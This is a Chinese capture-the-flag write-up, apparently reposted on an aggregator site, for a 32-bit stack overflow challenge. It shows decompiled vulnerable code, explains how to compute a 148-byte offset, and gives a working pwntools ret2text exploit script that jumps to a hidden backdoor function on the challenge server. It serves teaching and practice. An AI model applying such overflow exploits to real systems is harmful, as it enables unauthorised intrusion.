当前位置: 首页 > news >正文

【青少年CTF S1·2026 公益赛】好多“后”门!

通过Exeinfo PE查询是32位的系统,Linux下可以使用checksec进行查询

都是一些关闭缓冲区的函数没什么用

int __cdecl main(int argc, const char **argv, const char **envp) { setbuf(stdout, 0); setbuf(stdin, 0); setbuf(stderr, 0); Team(); return 0; }

主要的漏洞函数在Team()中

int Team() { char buf; // [esp+8h] [ebp-90h] puts((const char *)&unk_8049930); fflush(stdout); read(0, &buf, 0x100u); puts(&buf); printf("Did you not read the question? "); return fflush(stdout); }

可以看到read有溢出,buf的长度是90h,但是read给buf读入了100h的长度

题目中有很多假的后面函数真正的后面函数是f4ck_backdoor_flag,因此可以ret2text,直接通过溢出跳转到后面函数即可

填充垃圾数据为 0x90 + 0x4(32位的EBP长度为4),对于f4ck_backdoor_flag的函数地址我们可以在IDA中直接查找,或者直接使用elf.symbols直接定位

payload如下

from pwn import * p = remote('challenge.qsnctf.com', 52856) elf = ELF('./pwn') offset = 148 backdoor = elf.symbols['f4ck_backdoor_flag'] # 注意填充垃圾字符前面要有个b,由于程序是32位的程序后门程序要用p32()包裹 payload = b'a' * offset + p32(backdoor) p.sendline(payload) p.interactive()

http://www.jsqmd.com/news/694046/

相关文章:

  • 光子计算测试挑战报告:面向软件测试从业者的专业视角解析
  • 超越官方教程:用ROS2 camera_calibration工具包高效标定USB相机的完整流程
  • 如何快速搭建本地语音转文字工具:3步实现隐私安全的实时字幕系统
  • 从一次棘手的ERESOLVE报错,聊聊我如何用 `pnpm` 重构了老项目的依赖管理
  • 当DevOps遇上‘雷曼时刻’:从一次金融系统崩溃看现代软件架构的容错与熔断设计
  • 5G网络优化实战笔记:如何通过SIB参数配置(如T320、Qoffsettemp)精准控制NR小区重选?
  • 反深度学习运动观察:软件测试从业者的专业审视
  • AutoUpdater.NET实战避坑:从XML配置到事件处理,让你的WinForm/WPF更新更稳定可靠
  • 如何用SD-PPP插件实现Photoshop与AI绘图的无缝集成?
  • EasyExcel单元格染色避坑指南:你的自定义RGB颜色为啥导出来不一样?
  • 上饶市如何选GEO AI优化公司代运营哪家实力强 - 舒雯文化
  • 别再手动存localStorage了!用Vue的keep-alive搞定Ruoyi后台页面状态保留(附完整配置流程)
  • 如何5分钟创建专业演示文稿:开源PPTist的完整使用指南
  • VSCode+LLM开发环境搭建,从零到生产级推理仅需8分钟(附可验证配置模板)
  • Python处理爬虫数据时,UnicodeDecodeError报错别慌!教你用chardet库自动识别文件编码
  • 从‘等比例缩小’到‘等效缩减’:一文看懂芯片制程演进背后的材料与结构‘魔法’
  • 告别双闪屏!Android 12/13 启动画面SplashScreen全适配指南(含AndroidX库避坑实录)
  • TabLLM论文精读:除了序列化表格,我们还能从消融实验中学到什么避坑经验?
  • LeRobot机器人学习框架实战指南:从算法研究到硬件部署的全栈解决方案
  • 告别卡顿!用Qt6的QProcess和共享内存,轻松搞定跨进程大文件传输(附完整代码)
  • 索尼相机功能解锁终极指南:OpenMemories-Tweak完全使用教程
  • 告别凌晨抢购!i茅台自动预约终极方案:30天成功率提升500%的Java实战指南
  • 避坑指南:海康MVS SDK与ROS2/OpenCV共存时的库冲突解决实录
  • 怎样高效压缩视频图片:3步掌握CompressO跨平台压缩神器
  • 手把手教你部署GEO推广系统,在线扫码授权配置,手机PC双端自适应
  • 10倍速度革命:用Python脚本解锁百度网盘的真实下载潜力
  • 保姆级教程:把ORB-SLAM3建好的地图从PCD转成PLY,再用MeshLab打开(附完整代码)
  • 为什么92%的开发者VSCode大模型配置失败?——资深架构师曝光4个隐藏配置断点
  • 告别格式错乱!实测3款英文降AIGC工具,从底层重构文章逻辑(附避坑攻略)
  • 从事件响应到状态机:用LabVIEW顺序结构+事件结构打造一个带延时提示的UI小工具